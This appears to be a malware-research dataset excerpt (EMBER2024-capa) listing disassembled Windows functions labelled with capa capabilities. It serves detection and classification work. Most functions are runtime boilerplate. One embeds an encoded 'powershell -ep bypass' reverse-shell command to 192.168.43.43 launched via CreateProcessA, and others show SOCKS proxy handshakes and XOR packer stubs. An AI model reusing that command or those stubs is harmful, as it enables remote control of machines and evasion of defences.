joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001720
Capabilities:
Encode data using base64

Disassembly:
mov eax, 0x55555556
imul dword [esp + 8]
push ebp
push esi
mov esi, dword [esp + 0x14]
push edi
mov edi, edx
shr edi, 0x1f
add edi, edx
lea ebp, [edi + 1]
mov cl, 0x3d
test ebp, ebp
jle 0x10001878
mov ecx, dword [esp + 0x10]
add ecx, 2
add esi, 2
mov edx, ebp
push ebx
mov al, byte [ecx - 2]
shr al, 2
cmp al, 0x19
ja 0x1000175f
add al, 0x41
jmp 0x1000178e
mov bl, al
sub bl, 0x1a
cmp bl, 0x19
ja 0x1000176d
add al, 0x47
jmp 0x1000178e
mov bl, al
sub bl, 0x34
cmp bl, 9
ja 0x1000177b
sub al, 4
jmp 0x1000178e
cmp al, 0x3e
jne 0x10001783
mov al, 0x2b
jmp 0x1000178e
cmp al, 0x3f
setne al
dec al
and al, 0xf2
add al, 0x3d
mov byte [esi - 2], al
mov al, byte [ecx - 2]
mov bl, byte [ecx - 1]
and al, 3
shl al, 4
shr bl, 4
add al, bl
cmp al, 0x19
ja 0x100017a9
add al, 0x41
jmp 0x100017d8
mov bl, al
sub bl, 0x1a
cmp bl, 0x19
ja 0x100017b7
add al, 0x47
jmp 0x100017d8
mov bl, al
sub bl, 0x34
cmp bl, 9
ja 0x100017c5
sub al, 4
jmp 0x100017d8
cmp al, 0x3e
jne 0x100017cd
mov al, 0x2b
jmp 0x100017d8
cmp al, 0x3f
setne al
dec al
and al, 0xf2
add al, 0x3d
mov byte [esi - 1], al
mov al, byte [ecx - 1]
mov bl, byte [ecx]
and al, 0xf
add al, al
add al, al
shr bl, 6
add al, bl
cmp al, 0x19
ja 0x100017f3
add al, 0x41
jmp 0x10001822
mov bl, al
sub bl, 0x1a
cmp bl, 0x19
ja 0x10001801
add al, 0x47
jmp 0x10001822
mov bl, al
sub bl, 0x34
cmp bl, 9
ja 0x1000180f
sub al, 4
jmp 0x10001822
cmp al, 0x3e
jne 0x10001817
mov al, 0x2b
jmp 0x10001822
cmp al, 0x3f
setne al
dec al
and al, 0xf2
add al, 0x3d
mov byte [esi], al
mov al, byte [ecx]
and al, 0x3f
cmp al, 0x19
ja 0x10001830
add al, 0x41
jmp 0x1000185f
mov bl, al
sub bl, 0x1a
cmp bl, 0x19
ja 0x1000183e
add al, 0x47
jmp 0x1000185f
mov bl, al
sub bl, 0x34
cmp bl, 9
ja 0x1000184c
sub al, 4
jmp 0x1000185f
cmp al, 0x3e
jne 0x10001854
mov al, 0x2b
jmp 0x1000185f
cmp al, 0x3f
setne al
dec al
and al, 0xf2
add al, 0x3d
mov byte [esi + 1], al
add ecx, 3
add esi, 4
sub edx, 1
jne 0x10001751
mov esi, dword [esp + 0x1c]
mov cl, 0x3d
pop ebx
mov eax, dword [esp + 0x14]
lea edx, [edi + edi*2]
sub eax, edx
cmp eax, 1
jne 0x1000188c
mov byte [esi + edi*4 + 2], cl
jmp 0x10001891
cmp eax, 2
jne 0x10001897
mov byte [esi + edi*4 + 3], cl
mov edi, ebp
lea eax, [edi*4]
pop edi
mov byte [eax + esi], 0
pop esi
pop ebp
ret 0xc
Function at 0x100024a0
Capabilities:
Set socket configuration

Disassembly:
mov eax, dword [esi + 0x20]
push edi
mov edi, dword [esi + 0x1c]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push esi
mov dword [esi + 0x20], 0
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 8
cmp byte [esp + 8], 0
je 0x10002514
cmp edi, 0xffffffff
je 0x10002502
push 4
lea eax, [esp + 0xc]
push eax
push 0x80
push 0xffff
mov ecx, 1
xor edx, edx
push edi
mov word [esp + 0x1c], cx
mov word [esp + 0x1e], dx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 2
push edi
call dword [sym.imp.WS2_32.dll_shutdown]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebx + 4]
push ecx
push 0
push 0
push 3
push edi
push ebx
call dword [0x10005034]
pop edi
ret 4
Function at 0x10002c10
Capabilities:
Set socket configuration

Disassembly:
push ecx
push esi
mov esi, dword [edi]
cmp esi, 0xffffffff
je 0x10002c52
push 4
lea edx, [esp + 8]
push edx
push 0x80
push 0xffff
mov eax, 1
xor ecx, ecx
push esi
mov word [esp + 0x18], ax
mov word [esp + 0x1a], cx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 2
push esi
call dword [sym.imp.WS2_32.dll_shutdown]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
mov dword [edi], 0xffffffff
pop esi
pop ecx
ret

Function at 0x10002da0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x400
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov eax, dword [eax]
mov edx, ecx
shr edx, 8
mov byte [esp + 2], dl
mov byte [esp + 3], cl
mov ecx, eax
mov edx, eax
mov byte [esp + 4], al
shr eax, 0x18
mov byte [esp + 7], al
push esi
lea eax, [esp + 0xc]
shr ecx, 8
shr edx, 0x10
push eax
mov byte [esp + 8], 4
mov byte [esp + 9], 1
mov byte [esp + 0xd], cl
mov byte [esp + 0xe], dl
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov edx, dword [edi]
push 0
add eax, 9
push eax
lea ecx, [esp + 8]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10002e16
or eax, 0xffffffff
add esp, 0x400
ret
mov ecx, dword [edi]
push 0
push 0x400
lea eax, [esp + 8]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x10002e0c
cmp byte [esp], 0
jne 0x10002e0c
xor eax, eax
cmp byte [esp + 1], 0x5a
sete al
dec eax
add esp, 0x400
ret
Function at 0x10002e50
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x404
mov ecx, dword [edi]
push esi
push 0
mov esi, eax
push 4
lea eax, [esp + 0x10]
push eax
push ecx
mov byte [esp + 0x18], 5
mov byte [esp + 0x19], 2
mov byte [esp + 0x1a], 0
mov byte [esp + 0x1b], 2
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10002e90
or eax, 0xffffffff
pop esi
add esp, 0x404
ret 0xc
mov eax, dword [edi]
push 0
push 0x400
lea edx, [esp + 0x10]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x10002e83
cmp byte [esp + 8], 5
jne 0x10002e83
mov al, byte [esp + 9]
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp al, 2
jne 0x10002f56
push esi
call ebp
mov ecx, dword [esp + 0x41c]
push ecx
mov ebx, eax
call ebp
push ebx
lea edx, [esp + 0x16]
mov byte [esp + 0x15], bl
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
push esi
push edx
mov dword [esp + 0x18], eax
mov byte [esp + 0x1c], 1
call ebx
mov esi, eax
mov eax, dword [esp + 0x18]
add esi, 2
push eax
mov byte [esp + esi + 0x20], al
mov eax, dword [esp + 0x42c]
inc esi
push eax
lea ecx, [esp + esi + 0x24]
push ecx
call ebx
add esp, 0x18
push 0
add esi, eax
mov eax, dword [edi]
push esi
lea edx, [esp + 0x18]
push edx
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x10002f47
mov edx, dword [edi]
push 0
push 0x400
lea ecx, [esp + 0x18]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x10002f47
cmp byte [esp + 0x11], 0
je 0x10002f60
pop ebp
pop ebx
or eax, 0xffffffff
pop esi
add esp, 0x404
ret 0xc
test al, al
jne 0x10002f47
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [esp + 0x414]
push esi
call ebp
push eax
mov byte [esp + 0x18], al
lea eax, [esp + 0x19]
push esi
push eax
mov byte [esp + 0x1c], 5
mov byte [esp + 0x1d], 1
mov byte [esp + 0x1e], 0
mov byte [esp + 0x1f], 3
call ebx
mov ecx, dword [esp + 0x424]
add eax, 5
mov edx, ecx
shr edx, 8
mov byte [esp + eax + 0x1c], dl
add esp, 0xc
inc eax
mov byte [esp + eax + 0x10], cl
mov ecx, dword [edi]
push 0
inc eax
push eax
lea eax, [esp + 0x18]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x10002f47
mov eax, dword [edi]
push 0
push 0x400
lea edx, [esp + 0x18]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x10002f47
cmp byte [esp + 0x10], 5
jne 0x10002f47
movzx eax, byte [esp + 0x11]
pop ebp
neg eax
pop ebx
sbb eax, eax
pop esi
add esp, 0x404
ret 0xc
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x406060], 1
mov dword [0x40605c], 1
mov dword [0x406058], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x406014], eax
mov eax, dword [0x40606c]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x406080]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x406068]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x403018], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x4015b0
Capabilities:
Create process on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x444
call dbg.__main
mov dword [ebp - 0xc], str.powershell__ep_bypass__e_UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAUABTAEgATwBNAEUAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAewAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJzAxOTIuMTY4LjQzLjQzJywAIAAkAGMAbwBtAAMyZQM2YB
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym._strcpy
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x40c]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret

Function at 0x4018b0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x401910
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x406074]
test esi, esi
jle 0x401a30
mov eax, dword [0x406078]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401944
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x4019c7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401930
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401a57
mov eax, dword [0x406078]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x406078]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401a37
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x4019c0
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x4019d0
add dword [0x406074], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x406078]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x4019c0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x40194e
mov eax, dword [0x406078]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop

Function at 0x401f70
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x406090
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x406088]
sub esp, 4
test ebx, ebx
je 0x401fc5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x401fbe
test esi, esi
je 0x401fbe
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401fa0
mov dword [esp], 0x406090
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402300
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402325
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402330
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402325
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402378
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40236e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40237a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402360
xor eax, eax
pop ebx
pop esi
ret
Function at 0x994cdc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x994d03
call fcn.00937288
mov dword [eax], esi
call fcn.00937275
push 0x16
pop esi
mov dword [eax], esi
call fcn.00937eca
mov eax, esi
jmp 0x994d58
test dword [ebp + 0xc], 0xfffffff9
jne 0x994ce9
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x994d30
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0093729b
pop ecx
call fcn.00937275
mov eax, dword [eax]
jmp 0x994d58
test al, 0x10
jne 0x994d56
test al, 1
je 0x994d56
test byte [ebp + 0xc], 2
je 0x994d56
call fcn.00937288
mov dword [eax], 5
call fcn.00937275
mov dword [eax], 0xd
jmp 0x994d27
xor eax, eax
pop esi
pop ebp
ret

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40c7d0
mov ecx, 0x56a2849
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x432024
mov eax, section..data
nop
nop
mov ebx, 0x42f314
nop
mov ecx, 0x6a3b1e
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0xbb547d
nop
nop
nop
nop
nop
test eax, eax
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
mov ecx, 0x619b1635
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x401525
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x14
push ebx
push ebp
push esi
push edi
push dword [0x41ea24]
call fcn.00401c27
mov esi, eax
or ebp, 0xffffffff
mov dword [esp + 0x20], esi
mov dword [esp + 0x14], ebp
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov ebx, dword [esp + 0x28]
mov ecx, eax
movzx edx, word [ecx]
test dx, dx
je 0x401658
mov eax, dword [esi]
mov esi, edx
mov edx, dword [esp + 0x28]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0x20
push 0x22
pop edi
movzx eax, si
cmp si, word [esp + 0x18]
jne 0x40158b
push 0x20
pop esi
add ecx, 2
movzx eax, word [ecx]
cmp ax, si
je 0x401580
mov dword [esp + 0x10], 1
cmp ax, di
jne 0x4015c5
add ecx, 2
mov edi, ecx
movzx eax, word [ecx]
mov esi, eax
test ax, ax
je 0x401623
push 0x22
mov edx, eax
pop ebx
movzx esi, dx
cmp dx, bx
je 0x40161f
add ecx, 2
movzx eax, word [ecx]
mov edx, eax
mov esi, eax
test ax, ax
jne 0x4015ac
jmp 0x40161f
test ax, ax
je 0x401633
push 0x22
pop ebx
push 0x20
mov edi, ecx
movzx eax, ax
pop ebp
movzx esi, ax
cmp ax, bp
je 0x40161b
add ecx, 2
movzx eax, word [ecx]
mov edx, eax
cmp ax, bx
jne 0x401610
add ecx, 2
movzx eax, word [ecx]
mov edx, eax
test ax, ax
je 0x401610
mov esi, eax
movzx edx, si
cmp si, bx
je 0x401610
add ecx, 2
movzx eax, word [ecx]
mov esi, eax
mov edx, eax
test ax, ax
jne 0x4015f9
movzx eax, dx
movzx esi, dx
test dx, dx
jne 0x4015d5
mov ebp, dword [esp + 0x14]
mov ebx, dword [esp + 0x28]
mov edx, ecx
test si, si
je 0x40162d
add ecx, 2
mov eax, dword [esp + 0x10]
jmp 0x401637
xor eax, eax
xor edi, edi
cmp dword [esp + 0x1c], ebp
jne 0x401641
test ebx, ebx
jne 0x401660
test eax, eax
je 0x40164a
inc ebp
mov dword [esp + 0x14], ebp
movzx eax, word [ecx]
mov esi, eax
test ax, ax
jne 0x401570
test ebx, ebx
jne 0x401674
mov eax, ebp
jmp 0x401679
test edi, edi
je 0x401674
mov eax, dword [esp + 0x20]
sub edx, edi
sar edx, 1
mov dword [ebx], edx
inc dword [eax]
mov eax, edi
jmp 0x401679
and dword [ebx], 0
mov eax, ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret

Function at 0x401760
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
mov dword [esp + 4], 0
cmp dword [esi + 0x14], 0
jne 0x40179c
push 0
lea eax, [esp + 8]
push eax
mov eax, dword [esi + 8]
sub eax, dword [esi + 0xc]
push eax
push dword [esi + 4]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esi + 8]
mov dword [esi + 0xc], eax
mov eax, dword [esp + 4]
pop esi
pop ecx
ret 4
xor eax, eax
pop esi
pop ecx
ret 4
Function at 0x4017b0
Capabilities:
Write file on windows

Disassembly:
push edi
mov edi, dword [esp + 8]
cmp edi, 0xffffffff
jne 0x4017c9
push dword [0x41ea58]
call fcn.004027ee
pop edi
ret 4
push esi
push edi
push dword [0x41ea58]
call fcn.00402743
mov esi, eax
test esi, esi
je 0x401833
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x40181f
cmp dword [esi + 0x14], 0
mov dword [esp + 0xc], 0
jne 0x40180e
push 0
lea eax, [esp + 0x10]
push eax
mov eax, dword [esi + 8]
sub eax, dword [esi + 0xc]
push eax
push ecx
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esi + 8]
mov dword [esi + 0xc], eax
push dword [esi + 4]
push 0
push dword [0x41e9f4]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push dword [0x41ea58]
call fcn.0040276b
pop esi
pop edi
ret 4

Function at 0x401af0
Capabilities:
Write file on windows

Disassembly:
push ecx
mov edx, dword [esp + 0xc]
mov dword [esp], 0
test edx, edx
je 0x401bef
cmp word [edx], 0
je 0x401bef
mov ecx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0xc]
test ecx, ecx
jne 0x401b1e
mov ecx, dword [esi + 0x18]
push edi
cmp ecx, 0x19
jne 0x401b74
mov ecx, edx
lea edi, [ecx + 2]
lea esp, [esp]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401b30
sub ecx, edi
sar ecx, 1
cmp dword [esi + 4], 0
je 0x401b56
lea eax, [ecx + ecx]
push eax
push edx
push esi
call fcn.00402ef0
pop edi
pop esi
pop ecx
ret 0xc
push 0
lea eax, [esp + 0xc]
push eax
lea eax, [ecx + ecx]
push eax
push edx
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 8]
pop edi
pop esi
pop ecx
ret 0xc
lea eax, [esp + 0x14]
push eax
xor eax, eax
cmp ecx, 2
push edx
setne al
dec eax
and eax, 0xfde9
push eax
call fcn.00403010
mov edi, eax
test edi, edi
je 0x401b6a
cmp dword [esi + 4], 0
je 0x401bc2
push dword [esp + 0x14]
push edi
push esi
call fcn.00402ef0
push edi
push 0
push dword [0x41e9f4]
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 8]
pop edi
pop esi
pop ecx
ret 0xc
push 0
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x1c]
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
push 0
push dword [0x41e9f4]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 8]
pop edi
pop esi
pop ecx
ret 0xc
xor eax, eax
pop ecx
ret 0xc
Function at 0x402a20
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x18]
push 0x1000
push 0
push dword [0x41e9f4]
mov dword [esp + 0x14], 0x1000
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, eax
mov dword [esp + 0x10], edx
test edx, edx
je 0x402bb0
mov cl, byte [esp + 0x18]
push ebp
mov ebp, dword [esp + 0x24]
push esi
push edi
mov esi, edx
mov edi, edi
cmp ebp, 0xffffffff
je 0x402a6e
test ebp, ebp
je 0x402b16
dec ebp
cmp dword [ebx + 4], 0
lea edi, [ebx + 4]
je 0x402a8a
push 1
lea eax, [esp + 0x28]
push eax
push ebx
call fcn.00406af0
mov dword [esp + 0x10], eax
jmp 0x402aa4
push 0
lea eax, [esp + 0x14]
push eax
push 1
lea eax, [esp + 0x30]
push eax
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x10]
mov cl, byte [esp + 0x24]
cmp eax, 1
jne 0x402b19
test cl, cl
je 0x402ab8
mov byte [esi], cl
inc esi
mov cl, byte [esp + 0x24]
mov eax, dword [esp + 0x14]
mov edi, esi
mov edx, dword [esp + 0x1c]
dec eax
sub edi, edx
cmp edi, eax
jle 0x402af3
mov eax, dword [esp + 0x14]
add eax, 0x1000
push eax
push edx
push 8
push dword [0x41e9f4]
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov cl, byte [esp + 0x24]
mov edx, eax
mov dword [esp + 0x1c], edx
lea esi, [edi + edx]
test cl, cl
je 0x402b16
cmp dword [esp + 0x28], 0
jne 0x402a60
cmp cl, 0xd
je 0x402b22
cmp cl, 0xa
jne 0x402a60
dec esi
jmp 0x402b93
lea edi, [ebx + 4]
cmp dword [esp + 0x28], 0
jne 0x402b93
jmp 0x402b25
lea edi, [ebx + 4]
cmp cl, 0xa
jne 0x402b2d
dec esi
jmp 0x402b93
cmp cl, 0xd
jne 0x402b93
dec esi
cmp dword [edi], 0
je 0x402b4b
push 1
lea eax, [esp + 0x28]
push eax
push ebx
call fcn.00406af0
mov dword [esp + 0x10], eax
jmp 0x402b61
push 0
lea eax, [esp + 0x14]
push eax
push 1
lea eax, [esp + 0x30]
push eax
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp byte [esp + 0x24], 0xa
je 0x402b93
cmp dword [edi], 0
je 0x402b72
inc dword [ebx + 0xc]
jmp 0x402b93
push 1
lea eax, [esp + 0x1c]
mov dword [esp + 0x18], 0xffffffff
push eax
push 0xffffffffffffffff
push dword [ebx]
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [esp + 0x30]
mov ecx, esi
sub ecx, dword [esp + 0x1c]
pop edi
mov dword [eax], ecx
mov eax, dword [esp + 0x18]
mov byte [esi], 0
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 0x10
xor eax, eax
pop ebx
add esp, 0x10
ret 0x10